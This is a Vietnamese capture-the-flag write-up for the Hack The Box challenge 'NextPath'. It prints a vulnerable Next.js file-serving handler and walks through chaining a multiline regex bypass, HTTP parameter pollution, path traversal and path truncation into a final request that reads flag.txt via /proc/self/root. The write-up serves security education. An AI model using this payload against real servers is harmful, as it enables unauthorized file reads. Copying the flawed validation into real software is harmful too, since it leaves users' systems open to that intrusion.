[HTB] NextPath

Zywoo

Giới thiệt

Vấn đề bài này không nằm ở một lỗ hổng đơn lẻ, mà nằm ở việc xâu chuỗi nhiều lỗi logic nhỏ để vượt qua một hệ thống phòng thủ đa lớp.

Phân tích

Lỗ hổng nằm tại API /api/team. Hãy soi kỹ từng dòng code lỗi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const ID_REGEX = /^[0-9]+$/m; // Lỗ hổng 1: Flag /m (multiline)

export default function handler({ query }, res) {
// Kiểm tra định dạng ID
if (!ID_REGEX.test(query.id)) { // Lỗ hổng 2: Không kiểm tra type của query.id
return res.status(400).end("Invalid format");
}

// Chặn Directory Traversal
if (query.id.includes("/") || query.id.includes("..")) { // Lỗ hổng 3: Dùng .includes() trên mảng
return res.status(400).end("DIRECTORY TRAVERSAL DETECTED");
}

try {
const filepath = path.join("team", query.id + ".png"); // Ép đuôi .png
const content = fs.readFileSync(filepath.slice(0, 100)); // Lỗ hổng 4: Slice cắt cụt đường dẫn
.......
} catch (e) { ... }
}

author bài này đã thiết kế các lớp phòng thủ chặn các đường tấn công cơ bản:

  • chặn chuỗi lạ : chỉ cho phép số 0-9
  • chặn ký tự điều hướng: chặn /.. (là linh hồn của path traversal)
  • vá lỗi null bytes: nodejs hiện đã chặn %00 khiến việc triệt tiêu đuôi .png
  • giới hạn độ dài: .slice(0,100) ngăn các payload dài.

Khai thác

  1. vượt qua regex bằng mutiline bypass

const ID_REGEX = /^[0-9]+$/m;

thường thì ^$ đại diện cho bắt đầu và kết thúc của 1 chuỗi. Nhưng với flag /m nó sẽ là đầu kết của từng dòng,
lợi dụng lỗi logic này thì chỉ cần thêm %0 đánh lừa chương trình là id=1 là 1 dòng riêng.

  • payload: id=1%0string
  • kết quả: dòng đầu tiên là 1 thỏa mãn regex . toàn bộ chuỗi dc chấp nhận
  1. Bypass filter bằng Http parameter pollution

trong team.js có 1 đoạn code lỗi logic: query.id.includes("..")

1
2
3
4
5
6
// Prevent directory traversal
if (query.id.includes("/") || query.id.includes("..")) {
console.error("DIRECTORY TRAVERSAL DETECTED:", query.id);
res.status(400).end("DIRECTORY TRAVERSAL DETECTED?!? This incident will be reported.");
return;
}

nếu id là 1 chuỗi như "../../flag.txt" thì cái request (nói request đúng không? ) sẽ bị chặn

còn nếu id là 1 mảng như ["1%0a", "../../flag.txt"] thì sẽ vượt qua được filter.

Đây là bước ngoặt của bài. Khi gửi ?id=1&id=2 thì next.js sẽ coi query id này là 1 mảng array [“1”, “2”] ==> kết quả là sẽ bypass filter directory traversal.

  1. vượt qua đuôi .png bằng path truncation

lập trình viên giới hạn độ dài chuỗi nhập vào nhưng lại tạo cơ hội để attacker cắt bỏ phần .png bị áp đặt.

1
2
3
4
5
6
7
8
9
10
try {
const filepath = path.join("team", query.id + ".png");
const content = fs.readFileSync(filepath.slice(0, 100));

res.setHeader("Content-Type", "image/png");
res.status(200).end(content);
} catch (e) {
console.error("Not Found", e.toString());
res.status(404).end(e.toString());
}

server nối mảng thành chuỗi và đưa vào path.join . Dường dẫn thành team/1\n,../../../../flag.txt.png
tận dụng hàm giới hạn độ dài .slice(0,100)

  • payload : chèn thêm các dấu gạch chéo dư thừa //// hoặc ../ cứ chèn để đẩy flag.txt vào vị trí 92-100.
  • kết quả là từ ký tự 101 trở đi, là phần .png sẽ bị hàm slice cắt đi
  1. trong docker thỉnh thoảng việc lùi thư mục không ổn định nên,
    sử dụng /proc/self/root/ để có thể truy cập trực tiếp hệ thống file gốc của container

Kết hợp các payload nhỏ mình gom góp được từ các lỗi logic, Payload cuối cùng :
GET /api/team?id=1%0a&id=../../../../../../../../../../../../../../../../../../../../../../../proc/self/root/flag.txt HTTP/1.1

số lượng ../ điều chỉnh để cái param vừa đủ 100 ký tự
thiệt

Kết luận

Các lỗ hổng:

  • Mutiline regex bypass: sai lầm khi cấu hình regex
  • HTTP parameters pollution (HPP): sự thiếu đồng nhất khi xử lý dữ liệu (Array vs String)
  • path traversal: đọc file hệ thống trái phép
  • path truncation: lợi dụng việc giới hạn độ dài chuỗi để cắt bỏ phần mở rộng file

alt text